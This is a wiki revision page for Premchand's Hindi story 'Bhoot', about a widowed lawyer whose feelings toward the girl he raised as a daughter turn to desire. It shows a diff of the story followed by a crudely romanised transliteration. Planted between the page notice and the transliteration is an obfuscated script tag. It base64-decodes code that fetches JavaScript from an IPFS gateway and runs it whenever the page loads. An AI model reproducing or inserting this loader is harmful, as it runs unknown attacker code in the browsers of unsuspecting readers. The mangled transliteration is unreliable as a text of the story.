Difference between revisions of "भूत -प्रेमचंद"
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सन्ध्या हो गयी थी। मंगला चारपाई पर पड़ी हुई थी। बेटे, बहुएं, पोते-पोतियाँ सब चारपाई के चारों ओर खड़े थे। बिन्नी पैताने बैठी मंगला के पैर दबा रही थी। मृत्यु के समय की भयंकर निस्तब्धाता छायी हुई थी। | सन्ध्या हो गयी थी। मंगला चारपाई पर पड़ी हुई थी। बेटे, बहुएं, पोते-पोतियाँ सब चारपाई के चारों ओर खड़े थे। बिन्नी पैताने बैठी मंगला के पैर दबा रही थी। मृत्यु के समय की भयंकर निस्तब्धाता छायी हुई थी। | ||
| − | कोई किसी से न बोलता था; दिल में सब समझ रहे थे, क्या | + | कोई किसी से न बोलता था; दिल में सब समझ रहे थे, क्या होने वाला है। केवल चौबेजी वहाँ न थे। |
सहसा मंगला ने इधर-उधर इच्छापूर्ण दृष्टि से देखकर कहा, 'ज़रा उन्हें बुला दो; कहाँ हैं ? ' | सहसा मंगला ने इधर-उधर इच्छापूर्ण दृष्टि से देखकर कहा, 'ज़रा उन्हें बुला दो; कहाँ हैं ? ' | ||
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मंगला –‘उसे हमेशा बुलाते रहना, तीज-त्योहार में कभी मत भूलना। ' | मंगला –‘उसे हमेशा बुलाते रहना, तीज-त्योहार में कभी मत भूलना। ' | ||
| − | पंडित –‘इन बातों की मुझे याद दिलाने की | + | पंडित –‘इन बातों की मुझे याद दिलाने की ज़रूरत नहीं। ' |
मंगला ने कुछ सोचकर फिर कहा, 'इसी साल विवाह कर देना। ' | मंगला ने कुछ सोचकर फिर कहा, 'इसी साल विवाह कर देना। ' | ||
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हो गया। लोगों से मिलना-जुलना छूट गया। कई-कई दिन कचहरी ही न जाते। जाते भी तो बड़े आग्रह से। भोजन से अरुचि हो गयी। विंध्येश्वरी उनकी दशा देख-देखकर दिल में कुढ़ती और यथासाधय उनका दिल बहलाने की चेष्टा किया करती थी। वह उन्हें पुराणों की कथाएं पढ़कर सुनाती, उनके लिए तरह-तरह की भोजन-सामग्री पकाती और उन्हें आग्रह-अनुरोध के साथ खिलाती थी। जब तक वह न खा लेते, आप कुछ न खाती थी। गरमी के दिन थे ही। रात को बड़ी देर तक उनके पैताने बैठी पंखा झला करती और जब तक वह न सो जाते, तब तक आप भी सोने न जाती। वह जरा भी सिर-दर्द की शिकायत करते, तो तुरन्त उनके सिर में तेल डालती। यहाँ तक कि रात को जब उन्हें प्यास लगती, तब खुद दौड़कर आती और उन्हें पानी पिलाती। | हो गया। लोगों से मिलना-जुलना छूट गया। कई-कई दिन कचहरी ही न जाते। जाते भी तो बड़े आग्रह से। भोजन से अरुचि हो गयी। विंध्येश्वरी उनकी दशा देख-देखकर दिल में कुढ़ती और यथासाधय उनका दिल बहलाने की चेष्टा किया करती थी। वह उन्हें पुराणों की कथाएं पढ़कर सुनाती, उनके लिए तरह-तरह की भोजन-सामग्री पकाती और उन्हें आग्रह-अनुरोध के साथ खिलाती थी। जब तक वह न खा लेते, आप कुछ न खाती थी। गरमी के दिन थे ही। रात को बड़ी देर तक उनके पैताने बैठी पंखा झला करती और जब तक वह न सो जाते, तब तक आप भी सोने न जाती। वह जरा भी सिर-दर्द की शिकायत करते, तो तुरन्त उनके सिर में तेल डालती। यहाँ तक कि रात को जब उन्हें प्यास लगती, तब खुद दौड़कर आती और उन्हें पानी पिलाती। | ||
| − | धीरे-धीरे चौबेजी के | + | धीरे-धीरे चौबेजी के हृदय में मंगला केवल एक सुख की स्मृति रह गयी। |
एक दिन चौबेजी ने बिन्नी को मंगला के सब गहने दे दिये। मंगला का यह अंतिम आदेश था। बिन्नी फूली न समायी। उसने उस दिन खूब बनाव-सिंगार किया। जब संध्या के समय पंडितजी कचहरी से आये, तो वह | एक दिन चौबेजी ने बिन्नी को मंगला के सब गहने दे दिये। मंगला का यह अंतिम आदेश था। बिन्नी फूली न समायी। उसने उस दिन खूब बनाव-सिंगार किया। जब संध्या के समय पंडितजी कचहरी से आये, तो वह | ||
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पंडितजी ने सतृष्ण नेत्रों से देखा। विंध्येश्वरी के प्रति अब उनके मन में एक नया भाव अंकुरित हो रहा था। मंगला जब तक जीवित थी, वह उनसे पिता-पुत्री के भाव को सजग और पुष्ट कराती रहती थी। अब मंगला न | पंडितजी ने सतृष्ण नेत्रों से देखा। विंध्येश्वरी के प्रति अब उनके मन में एक नया भाव अंकुरित हो रहा था। मंगला जब तक जीवित थी, वह उनसे पिता-पुत्री के भाव को सजग और पुष्ट कराती रहती थी। अब मंगला न | ||
| − | थी। अतएव वह भाव दिन-दिन शिथिल होता जाता था। मंगला के सामने बिन्नी एक बालिका थी। मंगला की अनुपस्थिति में वह एक रूपवती युवती थी। लेकिन सरल- | + | थी। अतएव वह भाव दिन-दिन शिथिल होता जाता था। मंगला के सामने बिन्नी एक बालिका थी। मंगला की अनुपस्थिति में वह एक रूपवती युवती थी। लेकिन सरल-हृदया बिन्नी को इसकी रत्ती-भर भी खबर न थी कि भैया के भावों में क्या परिवर्तन हो रहा है। उसके लिए वह वही पिता के तुल्य भैया थे। वह पुरुषों के स्वभाव से अनभिज्ञ थी। नारी-चरित्र में अवस्था के साथ मातृत्व का भाव दृढ़ होता जाता है। यहाँ तक कि एक समय ऐसा आता है, जब नारी की दृष्टि में युवक मात्र पुत्र तुल्य हो जाते हैं। उसके मन में विषय-वासना का लेश भी नहीं रह जाता। किन्तु पुरुषों में यह अवस्था कभी नहीं आती ! उनकी कामेन्द्रियाँ क्रियाहीन भले ही हो जायँ, पर विषय-वासना संभवत: और भी बलवती हो जाती है। पुरुष वासनाओं से कभी मुक्त नहीं हो पाता, बल्कि ज्यों-ज्यों अवस्था ढलती है त्यों-त्यों ग्रीष्म-ऋतु के अंतिम काल की भाँति उसकी वासना की गरमी भी प्रचंड होती जाती है। वह तृप्ति के लिए नीच साधनों का सहारा लेने को भी प्रस्तुत हो जाता है। जवानी में मनुष्य |
इतना नहीं गिरता। उसके चरित्र में गर्व की मात्र अधिक रहती है, जो नीच साधनों से घृणा करता है। वह किसी के घर में घुसने के लिए जबरदस्ती कर सकता है, किन्तु परनाले के रास्ते नहीं जा सकता। पंडितजी ने बिन्नी को सतृष्ण नेत्रों से देखा और फिर अपनी इस उच्छृंखलता पर लज्जित होकर आँखें नीची कर लीं ! बिन्नी इसका कुछ मतलब न समझ सकी। | इतना नहीं गिरता। उसके चरित्र में गर्व की मात्र अधिक रहती है, जो नीच साधनों से घृणा करता है। वह किसी के घर में घुसने के लिए जबरदस्ती कर सकता है, किन्तु परनाले के रास्ते नहीं जा सकता। पंडितजी ने बिन्नी को सतृष्ण नेत्रों से देखा और फिर अपनी इस उच्छृंखलता पर लज्जित होकर आँखें नीची कर लीं ! बिन्नी इसका कुछ मतलब न समझ सकी। | ||
| − | पंडितजी बोले, 'तुम्हें देखकर मुझे मंगला की उस समय की याद आ रही है ज़ब वह विवाह के समय यहाँ आयी थी। बिलकुल ऐसी सूरत थी। यही गोरा रंग, यही प्रसन्न-मुख, यही कोमल गाल, ये ही लजीली आँखें। वह चित्र अभी तक मेरे | + | पंडितजी बोले, 'तुम्हें देखकर मुझे मंगला की उस समय की याद आ रही है ज़ब वह विवाह के समय यहाँ आयी थी। बिलकुल ऐसी सूरत थी। यही गोरा रंग, यही प्रसन्न-मुख, यही कोमल गाल, ये ही लजीली आँखें। वह चित्र अभी तक मेरे हृदय-पट पर खिंचा हुआ है, कभी नहीं मिट सकता। ईश्वर ने तुम्हारे रूप में मेरी मंगला मुझे फिर दे दी। ' |
बिन्नी --टआपके लिए क्या जलपान लाऊँ ? ' | बिन्नी --टआपके लिए क्या जलपान लाऊँ ? ' | ||
| − | पंडित ले आना, 'अभी बैठो, मैं बहुत दुखी हूँ। तुमने मेरे शोक को भुला दिया है। वास्तव में तुमने मुझे | + | पंडित ले आना, 'अभी बैठो, मैं बहुत दुखी हूँ। तुमने मेरे शोक को भुला दिया है। वास्तव में तुमने मुझे ज़िला लिया, नहीं तो मुझे आशा न थी कि मंगला के पीछे मैं जीवित रहूँगा। तुमने प्राणदान दिया। नहीं जानता तुम्हारे चले जाने पर मेरी क्या दशा होगी। ' |
बिन्नी –‘क़हाँ चले जाने के बाद ? मैं तो कहीं नहीं जा रही हूँ। ' | बिन्नी –‘क़हाँ चले जाने के बाद ? मैं तो कहीं नहीं जा रही हूँ। ' | ||
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विन्धयेश्वरी को अभी तक कुछ खबर न थी कि मेरे लिए क्या-क्या षडयंत्र रचे जा रहे हैं। वह खुश थी कि मैं भैयाजी की सेवा कर रही हूँ और भैयाजी मुझसे प्रसन्न हैं ! बहन का इन्हें बड़ा दु:ख है। मैं न रहूँगी, तो यह | विन्धयेश्वरी को अभी तक कुछ खबर न थी कि मेरे लिए क्या-क्या षडयंत्र रचे जा रहे हैं। वह खुश थी कि मैं भैयाजी की सेवा कर रही हूँ और भैयाजी मुझसे प्रसन्न हैं ! बहन का इन्हें बड़ा दु:ख है। मैं न रहूँगी, तो यह | ||
| − | कहीं चले जायँगे क़ौन जाने, साधु- | + | कहीं चले जायँगे क़ौन जाने, साधु-संन्यासी न हो जायँ ! घर में कैसे मन लगेगा। वह पंडितजी का मन बहलाने का निरंतर प्रयत्न करती रहती थी। उन्हें कभी मनमारे न बैठने देती। पंडितजी का मन अब कचहरी में न लगता था। घण्टे-दो-घण्टे बैठकर चले आते थे। युवकों के प्रेम में विकलता होती है और वृध्दों के प्रेम में श्रृद्धा। वे अपनी यौवन की कमी को खुशामद से, मीठी बातों से और हाजिरजवाबी से पूर्ण करना चाहते हैं। मंगला को मरे अभी तीन ही महीने गुजरे थे कि चौबेजी ससुराल पहुँचे। सास ने मुँहमाँगी मुराद पाई। उसके दो पुत्र थे। घर में कुछ पूँजी न थी। |
उनके पालन और शिक्षा के लिए कोई ठिकाना नजर न आता था। मंगला मर ही चुकी थी। लड़की का ज्योही विवाह हो जायगा, वह अपने घर की हो रहेगी। फिर चौबे से नाता ही टूट जायगा। वह इसी चिंता में पड़ी हुई | उनके पालन और शिक्षा के लिए कोई ठिकाना नजर न आता था। मंगला मर ही चुकी थी। लड़की का ज्योही विवाह हो जायगा, वह अपने घर की हो रहेगी। फिर चौबे से नाता ही टूट जायगा। वह इसी चिंता में पड़ी हुई | ||
| Line 248: | Line 248: | ||
पंडित –‘फ़िर वही आवाज़ आ रही है। हाय ईश्वर ! कहाँ जाऊँ ? मेरे तो रोम-रोम में वे ही शब्द गूँज रहे हैं। बिन्नी, बुरा किया। मंगला सती थी, उसके आदेश की उपेक्षा करके मैंने अपने हक में ज़हर बोया। कहाँ जाऊँ, क्या करूँ ? ' | पंडित –‘फ़िर वही आवाज़ आ रही है। हाय ईश्वर ! कहाँ जाऊँ ? मेरे तो रोम-रोम में वे ही शब्द गूँज रहे हैं। बिन्नी, बुरा किया। मंगला सती थी, उसके आदेश की उपेक्षा करके मैंने अपने हक में ज़हर बोया। कहाँ जाऊँ, क्या करूँ ? ' | ||
| − | यह कहकर पंडितजी ने कमरे के किवाड़ खोल दिये और बेतहाशा भागे। अपने मरदाने कमरे में पहुँचकर वह गिर पड़े। | + | यह कहकर पंडितजी ने कमरे के किवाड़ खोल दिये और बेतहाशा भागे। अपने मरदाने कमरे में पहुँचकर वह गिर पड़े। मूर्च्छा आ गयी। विंध्येश्वरी भी दौड़ी, पर चौखट से बाहर निकलते ही गिर पड़ी ! |
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
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Latest revision as of 10:50, 2 January 2018
| chitr:Icon-edit.gif | is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
muradabad ke pandit sitanath chaube gat 30 varshoan se vahaan ke vakiloan ke neta haian. unake pita unhean balyavastha mean hi chho dakar paralok sidhare the. ghar mean koee sanpatti n thi. mata ne b de-b de kasht jhelakar unhean pala aur padhaya. sabase pahale vah kachahari mean 15) masik par naukar hue. phir vakalat ki pariksha di. pas ho gaye. pratibha thi, do-hi-char varshoan mean vakalat chamak uthi. jab mata ka svargavas hua tab putr ka shumar zile ke ganyamany vyaktiyoan mean ho gaya tha. unaki amadani ek hazar rupaye mahine se kam n thi. ek vishal bhavan banava liya tha, kuchh jamiandari le li thi, kuchh rupaye baiank mean rakh diye the, aur kuchh len-den mean laga diye. is samridhdi par char putroan ka hona unake bhagy ko adarsh banae hue tha. charoan l dake bhinn-bhinn darjoan mean padhate the. magar yah kahana ki sari vibhooti chaubeji ke anavarat parishram ka phal thi, unaki patni mangala devi ke sath anyay karana hai. mangala b di saral, grih-kary mean kushal aur paise ka kam dhele mean chalanevali stri thi.
jab tak apana ghar n ban gaya, usane 3) mahine se adhik ka makan kiraye par nahian liya; aur rasoee ke lie misarain to usane ab tak n rakhi thi. use agar koee vyasan tha, to gahanoan ka; aur chaubeji ko bhi agar koee vyasan tha, to stri ko gahane pahanane ka. vah sachche patni-parayan manushy the. sadharanat: mahaphiloan mean veshyaoan se hansi-majak kar lena utana bura nahian samajha jata; par panditaji apane jivan mean kabhi nach-gane ki mahaphil mean gaye hi nahian. paanch baje t dake se lekar barah baje rat tak unaka vyasan manoranjan, padhana-likhana, anushilan jo kuchh tha, qanoon tha, n unhean rajaniti se prem tha, n jati-seva se. ye sabhi kam unhean vyarth se jan p date the. unake vichar mean agar koee kam karane layaq tha, to bas, kachahari jana,
bahas karana, rupaye jama karana aur bhojan karake so rahana. jaise vedanti ko brahm ke atirikt jagath mithya jan p data hai, vaise hi chaubeji ko qanoon ke siva sara sansar mithya pratit hota tha. sab maya thi, ek qanoon hi saty tha. chaubeji ke mukh-chandr mean keval ek kala ki kami thi. unake koee kanya n thi. pahalauthi kanya ke bad phir kanya huee hi nahian aur n ab hone ki asha hi thi. stri aur purush, donoan us kanya ko yad karake roya karate the. l dakiyaan bachapan mean l dakoan se zyada choanchale karati haian. un choanchaloan ke lie donoan prani vikal rahate. maan sochati, l daki hoti, to usake lie gahane banavati, usake bal gooanthati. l daki paijaniyaan pahane thumak-thumak aangan mean chalati to kitana anand ata ! chaube sochate, kanyadan ke bina moksh kaise hoga ? kanyadan mahadan hai. jisane yah dan n diya, usaka janm hi vritha gaya.
akhir yah lalasa itani prabal huee ki mangala ne apani chhoti bahan ko bulakar kanya ki bhaanti palane ka nishchay kiya. usake maan-bap nirdhan the. raji ho gaye. yah balika mangala ki soteli-maan ki kanya thi. b di sundar aur b di chanchal thi. nam tha binni. chaubeji ka ghar usake ane se khil utha. do-char hi dinoan mean l daki apane maan-bap ko bhool gayi. usaki umr to keval char varsh ki thi; par use khelane ki apeksha kuchh kam karana achchha lagata tha. mangala rasoee banane jati to binni bhi usake pichhe-pichhe jati, usase ata gooandhane ke lie jhag da karati. tarakari katane mean use b da maja ata tha. jab tak vakil sahab ghar par rahate, tab tak vah unake sath divanakhane mean baithi rahati. kabhi kitab ulatati, kabhi davat-kalam se khelati. chaubeji muskarakar kahate, 'beti, mar khaogi ? '
binni kahati 'tum mar khaoge, maian tumhare kan kat looangi, joojoo ko bulakar pak da dooangi. ' is par divanakhane mean khoob kahakahe u date. vakil sahab kabhi itane balyavatsal n the ! jab bahar se ate to kuchh-n-kuchh saugat binni ke vaste zaroor late, aur ghar mean qadam rakhate hi pukarate binni beti, chalo. binni dau dati huee akar unaki god mean baith jati. mangala ek din binni ko lie baithi thi. itane mean panditaji a gaye.binni dau dakar unaki god mean ja baithi. panditaji ne poochha, 'too kisaki beti hai ? '
binni –‘n bataooangi. '
mangala –‘qah de beta, jiji ki beti hooan. '
pandit –‘too meri beti hai binni, ki inaki ? '
binni—‘ n bataooangi. '
pandit –‘achchha, ham log aankhean band kiye baithe haian; binni jisaki beti hogi, usaki god mean baith jayagi. '
binni uthi aur phir chaubeji ki god mean baith gayi.
pandit –‘meri beti hai, meri beti hai; ab n kahana ki meri beti hai. '
mangala –‘achchha, jao binni, ab tumhean mithaee n dooangi, gu diya bhi n manga dooangi ! '
binni –‘bhaiyaji mangava deange, tumhean n dooangi. '
vakil sahab ne hansakar binni ko chhati se laga liya aur god mean liye hue bahar chale gaye. vah apane isht-mitroan ko bhi is balakri da ka rasasvadan karana chahate the.
aj se jo koee binni se poochhata ki 'too kisaki beti hai, ' to binni chat kah deti 'bhaiya ki. '
ek bar binni ka bap akar use apane sath le gaya. binni ne ro-rokar duniya sir par utha li. idhar chaubeji ko bhi din katana kathin ho gaya. ek mahina bhi n gujarane paya tha ki vah phir sasural gaye aur
binni ko liva laye. binni apani mata aur pita ko bhool gayi. vah chaubeji ko apana bap aur mangala ko apani maan samajhane lagi. jinhoanne use janm diya tha, ve ab gair ho gaye. kee sal gujar gaye. vakil sahab ke betoan ke vivah hue. unamean se do apane bal-bachchoan ko lekar any ziloan mean vakalat karane chale gaye. do kalej mean padhate the. binni bhi kali se phool huee. aisi roop-gun shilavali balika biradari mean aur n thi padhane-likhane mean chatur, ghar ke kam-dhandhoan mean kushal boote-kaside aur sine-pirone mean daksh, pakakala mean nipun, madhurabhashini, lajjashila, anupam roop ki rashi. aandhere ghar mean usake sauandary ki divy jyoti se ujala hota tha. usha ki lalima mean, jyotsna ki manohar chhata mean, khile hue gulab ke oopar soory ki kiranoan se chamakate hue tushar-bindu mean bhi vah pranaprad sushama aur vah shobha n thi, shvet hemamukutadhari parvat mean bhi vah shitalata n thi, jo binni arthath viandhyeshvari ke vishal netroan mean thi. chaubeji ne binni ke lie suyogy var khojana shuroo kiya. l dakoan ki shadiyoan mean dil ka araman nikal chuke the. ab kanya ke vivah mean hausale poore karana chahate the. dhan lutakar kirti pa chuke the, ab dan-dahej mean nam kamane ki lalasa thi. bete ka vivah kar lena asan hai par kanya ke vivah mean abaroo nibah le jana kathin hai, nauka par sabhi yatra karate haian,
jo tairakar nadi par kare, vahi prashansa ka adhikari hai. dhan ki kami n thi. achchha ghar aur suyogy var mil gaya. janmapatr mil gaye, banavat ban gaya. phaladan aur tilak ki rasmean bhi ada kar di gayian.
par hay re durdaiv ! kahaan to vivah ki taiyari ho rahi thi, dvar par daraji, sunar, halavaee sab apana-apana kam kar rahe the, kahaan nirday vidhata ne aur hi lila rach di ! vivah ke ek saptah pahale mangala anayas
bimar p di, tin hi din mean apane sare araman liye hue paralok sidhar gayi.
sandhya ho gayi thi. mangala charapaee par p di huee thi. bete, bahuean, pote-potiyaan sab charapaee ke charoan or kh de the. binni paitane baithi mangala ke pair daba rahi thi. mrityu ke samay ki bhayankar nistabdhata chhayi huee thi.
koee kisi se n bolata tha; dil mean sab samajh rahe the, kya hone vala hai. keval chaubeji vahaan n the.
sahasa mangala ne idhar-udhar ichchhapoorn drishti se dekhakar kaha, 'zara unhean bula do; kahaan haian ? '
panditaji apane kamare mean baithe ro rahe the. sandesh pate hi aansoo poanchhate hue ghar mean aye aur b de dhairy ke sath mangala ke samane ho gaye. dar rahe the ki meri aankhoan se aansoo ki ek booand bhi nikali, to ghar mean hahakar
mach jayaga.
mangala ne kaha, 'ek bat poochhati hooan bura n manana binni tumhari kaun hai ? '
pandit –‘binni kaun hai ? meri beti hai aur kaun ? '
mangala –‘haan, maian tumhare muanh se yahi sunana chahati thi. use sada apani beti samajhate rahana. usake vivah ke lie maianne jo-jo taiyariyaan ki thian, unamean kuchh kat-chhaant mat karana. '
pandit –‘isaki kuchh chinta n karo. eeshvar ne chaha, to usase kuchh zyada dhoom-dham ke sath vivah hoga. '
mangala –‘use hamesha bulate rahana, tij-tyohar mean kabhi mat bhoolana. '
pandit –‘in batoan ki mujhe yad dilane ki zaroorat nahian. '
mangala ne kuchh sochakar phir kaha, 'isi sal vivah kar dena. '
pandit –‘is sal kaise hoga ? '
mangala –‘yah phagun ka mahina hai. jeth tak lagan hai. '
pandit—‘ ho sakega to isi sal kar dooanga. '
mangala –‘ho sakane ki bat nahian, zaroor kar dena. '
pandit –‘qar dooanga. '
isake bad godan ki taiyari hone lagi. budhape mean patni ka marana barasat mean ghar ka girana hai. phir usake banane ki asha nahian hoti. mangala ki mrityu se panditaji ka jivan aniyamit aur vishrriankhal-sa
ho gaya. logoan se milana-julana chhoot gaya. kee-kee din kachahari hi n jate. jate bhi to b de agrah se. bhojan se aruchi ho gayi. viandhyeshvari unaki dasha dekh-dekhakar dil mean kudhati aur yathasadhay unaka dil bahalane ki cheshta kiya karati thi. vah unhean puranoan ki kathaean padhakar sunati, unake lie tarah-tarah ki bhojan-samagri pakati aur unhean agrah-anurodh ke sath khilati thi. jab tak vah n kha lete, ap kuchh n khati thi. garami ke din the hi. rat ko b di der tak unake paitane baithi pankha jhala karati aur jab tak vah n so jate, tab tak ap bhi sone n jati. vah jara bhi sir-dard ki shikayat karate, to turant unake sir mean tel dalati. yahaan tak ki rat ko jab unhean pyas lagati, tab khud dau dakar ati aur unhean pani pilati.
dhire-dhire chaubeji ke hriday mean mangala keval ek sukh ki smriti rah gayi.
ek din chaubeji ne binni ko mangala ke sab gahane de diye. mangala ka yah aantim adesh tha. binni phooli n samayi. usane us din khoob banav-siangar kiya. jab sandhya ke samay panditaji kachahari se aye, to vah
gahanoan se ladi huee unake samane kuchh lajati aur muskarati huee akar kh di ho gayi.
panditaji ne satrishn netroan se dekha. viandhyeshvari ke prati ab unake man mean ek naya bhav aankurit ho raha tha. mangala jab tak jivit thi, vah unase pita-putri ke bhav ko sajag aur pusht karati rahati thi. ab mangala n
thi. atev vah bhav din-din shithil hota jata tha. mangala ke samane binni ek balika thi. mangala ki anupasthiti mean vah ek roopavati yuvati thi. lekin saral-hridaya binni ko isaki ratti-bhar bhi khabar n thi ki bhaiya ke bhavoan mean kya parivartan ho raha hai. usake lie vah vahi pita ke tuly bhaiya the. vah purushoan ke svabhav se anabhijn thi. nari-charitr mean avastha ke sath matritv ka bhav dridh hota jata hai. yahaan tak ki ek samay aisa ata hai, jab nari ki drishti mean yuvak matr putr tuly ho jate haian. usake man mean vishay-vasana ka lesh bhi nahian rah jata. kintu purushoan mean yah avastha kabhi nahian ati ! unaki kamendriyaan kriyahin bhale hi ho jayan, par vishay-vasana sanbhavat: aur bhi balavati ho jati hai. purush vasanaoan se kabhi mukt nahian ho pata, balki jyoan-jyoan avastha dhalati hai tyoan-tyoan grishm-rritu ke aantim kal ki bhaanti usaki vasana ki garami bhi prachand hoti jati hai. vah tripti ke lie nich sadhanoan ka sahara lene ko bhi prastut ho jata hai. javani mean manushy
itana nahian girata. usake charitr mean garv ki matr adhik rahati hai, jo nich sadhanoan se ghrina karata hai. vah kisi ke ghar mean ghusane ke lie jabaradasti kar sakata hai, kintu paranale ke raste nahian ja sakata. panditaji ne binni ko satrishn netroan se dekha aur phir apani is uchchhriankhalata par lajjit hokar aankhean nichi kar lian ! binni isaka kuchh matalab n samajh saki.
panditaji bole, 'tumhean dekhakar mujhe mangala ki us samay ki yad a rahi hai zab vah vivah ke samay yahaan ayi thi. bilakul aisi soorat thi. yahi gora rang, yahi prasann-mukh, yahi komal gal, ye hi lajili aankhean. vah chitr abhi tak mere hriday-pat par khiancha hua hai, kabhi nahian mit sakata. eeshvar ne tumhare roop mean meri mangala mujhe phir de di. '
binni --tapake lie kya jalapan laooan ? '
pandit le ana, 'abhi baitho, maian bahut dukhi hooan. tumane mere shok ko bhula diya hai. vastav mean tumane mujhe zila liya, nahian to mujhe asha n thi ki mangala ke pichhe maian jivit rahooanga. tumane pranadan diya. nahian janata tumhare chale jane par meri kya dasha hogi. '
binni –‘qahaan chale jane ke bad ? maian to kahian nahian ja rahi hooan. '
pandit –‘kyoan, tumhare vivah ki tithi a rahi hai. chali hi jaogi. '
binni –‘(sakuchati huee) aisi jaldi kya hai ? '
pandit –‘zaldi kyoan nahian. jamana hansega.‘
binni –‘hansane dijie. maian yahian apaki seva karati rahooangi. '
pandit –‘nahian binni, mere lie tum kyoan halakan hogi. maian abhaga hooan, jab tak zindagi hai, jiooanga; chahe rokar jiooan, chahe hansakar. hansi mere bhagy se uth gee. tumane itane dinoan sanbhal liya, yahi kya kam ehasan kiya. maian yah janata hooan ki tumhare jane ke bad koee meri khabar lenevala nahian rahega, yah ghar tahas-nahas ho jayaga aur mujhe ghar chho dakar bhagana p dega. par kya kiya jay, lachari hai. tumhare bina ab maian yahaan kshan-bhar bhi nahian rah sakata. mangala ki khali jagah to tumane poori ki, ab tumhara sthan kaun poora karega ? '
binni –‘kya is sal ruk nahian sakata. maian is dasha mean apako chho d kar n jaooangi. '
pandit –‘apane bas ki bat to nahian ? ve log agrah kareange, to majaboor hokar karana hi p dega. '
binni –‘bahut jaldi machayean to ap kah dijiega, ab nahian kareange.un logoan ke ji mean jo aye, karean. yahaan koee unaka dabail baitha hua hai ? '
pandit –‘ve log abhi se agrah kar rahe haian.‘
binni –‘ap phatakar kyoan nahian dete ? '
pandit –‘qarana to hai hi phir vilamb kyoan karooan ? yah du:kh aur viyog to ek din hona hi hai. apani vipatti ka bhar tumhare sir kyoan rakhooan ?’
binni –‘du:kh-sukh mean kam n aooangi, to aur kis din kam aooangi ? '
panditaji ke man mean kee dinoan tak ghor sangram hota raha. vah ab binni ko pita ki drishti se n dekh sakate the. binni ab mangala ki bahan aur unaki sali thi. jamana hansega, to hanse; zindagi to anand se gujaregi. unaki bhavanaean kabhi itani ullasamayi n thian. unhean apane aangoan mean phir javani ki sphoorti ka anubhav ho raha tha ! vah sochate, binni ko maian apani putri samajhata tha; par vah meri putri
hai to nahian. is tarah samajhane se kya hota hai ? kaun jane, eeshvar ko yahi manjoor ho; nahian to binni yahaan ati hi kyoan ? usane isi bahane se yah sanyog nishchit kar diya hoga. usaki lila to aparampar hai.
panditaji ne var ke pita ko soochana de di ki kuchh vishesh karanoan se is sal vivah nahian ho sakata.
vindhayeshvari ko abhi tak kuchh khabar n thi ki mere lie kya-kya shadayantr rache ja rahe haian. vah khush thi ki maian bhaiyaji ki seva kar rahi hooan aur bhaiyaji mujhase prasann haian ! bahan ka inhean b da du:kh hai. maian n rahooangi, to yah
kahian chale jayange qaun jane, sadhu-sannyasi n ho jayan ! ghar mean kaise man lagega. vah panditaji ka man bahalane ka nirantar prayatn karati rahati thi. unhean kabhi manamare n baithane deti. panditaji ka man ab kachahari mean n lagata tha. ghante-do-ghante baithakar chale ate the. yuvakoan ke prem mean vikalata hoti hai aur vridhdoan ke prem mean shrriddha. ve apani yauvan ki kami ko khushamad se, mithi batoan se aur hajirajavabi se poorn karana chahate haian. mangala ko mare abhi tin hi mahine gujare the ki chaubeji sasural pahuanche. sas ne muanhamaangi murad paee. usake do putr the. ghar mean kuchh pooanji n thi.
unake palan aur shiksha ke lie koee thikana najar n ata tha. mangala mar hi chuki thi. l daki ka jyohi vivah ho jayaga, vah apane ghar ki ho rahegi. phir chaube se nata hi toot jayaga. vah isi chianta mean p di huee
thi ki chaubeji pahuanche, mano devata svayan varadan dene aye hoan. jab chaubeji bhojan karake lete, to sas ne kaha, 'bhaiya, kahian batachit huee ki nahian ? '
pandit –‘ammaan, ab mere vivah ki batachit kya hogi ? '
sas –‘kyoan bhaiya, abhi tumhari umr hi kya hai ? '
pandit –‘qarana bhi chahooan to badanami ke dar se nahian kar sakata. phir mujhe poochhata hi kaun hai ? '
sas –‘poochhane ko hajaroan haian. door kyoan jao, apane ghar hi mean l daki baithi hai. suna hai, tumane mangala ke sab gahane binni ko de diye haian. kahian aur vivah hua, to ye kee hazar ki chizean tumhare hathoan se nikal jayangi. tumase achchha ghar maian kahaan paooangi. tum use aangikar kar lo, to maian tar jaooan. '
aandha kya maange, do aankhean ! chaubeji ne mano vivash hokar sas ki prarthana svikar kar li.
binni apane gaanv ke kachche makan mean apani maan ke pas baithi huee hai. abaki chaubeji ne usaki seva ke lie ek lauandi bhi sath kar di hai. viandhyeshvari ke donoan chhote bhaee vismit ho-hokar usake abhooshanoan ko dekh rahe haian. gaanv ki aur kee striyaan use dekhane ayi huee haian aur usake roopalavany ka vikas dekhakar chakit ho rahi haian. yah vahi binni hai, jo yahaan moti phariya pahine khela karati thi ! rang-roop kaisa nikhar aya hai ! sukh ki deh hai n ! jab bhi d kam huee, ekaant hua, to mata ne poochha, 'tere bhaiyaji to achchhi tarah haian n beti ! yahaan aye the, to bahut dukhi the. mangala ka shok unhean khaye jata hai. sansar mean aise mard bhi hote haian, jo stri ke lie pran de dete haian. nahian to yahaan stri mari aur chat doosara byah rachaya gaya. mano manate rahate haian ki yah mare to nayi-naveli bahoo ghar layean ! '
viandhaye.—‘ unhean yad karake roya karate haian. chali ayi hooan, n-jane kaise hoange ! '
mata –‘mujhe to dar lagata hai ki tera byah ho jane par kahian ghabarakar sadhoo-phakir n ho jayan. '
viandhye. –‘mujhe bhi to yahi dar lagata hai. isi se to maianne kah diya ki abhi jaldi kya hai. '
mata –‘zitane hi din unaki seva karogi, utana hi unaka sneh badhega; aur tumhare jane se unhean utana hi du:kh bhi adhik hoga. beti, sach to yah hai ki vah tumhian ko dekhakar jite haian. idhar tumhari doli uthi aur udhar unaka ghar satyanash hua. maian tumhari jagah hoti, to unhian se byah kar leti. '
viandhaye.—‘ ai hato ammaan, gali deti ho ? unhoanne mujhe beti karake pala hai. maian bhi unhean apana pita ...’
mata –‘chup rah pagali ! kahane se kya hota hai ? '
viandhaye. ‘are soch to ammaan, kitani bedhangi bat hai ! '
mata –‘mujhe to isamean koee bedhangapan nahian dekh p data. '
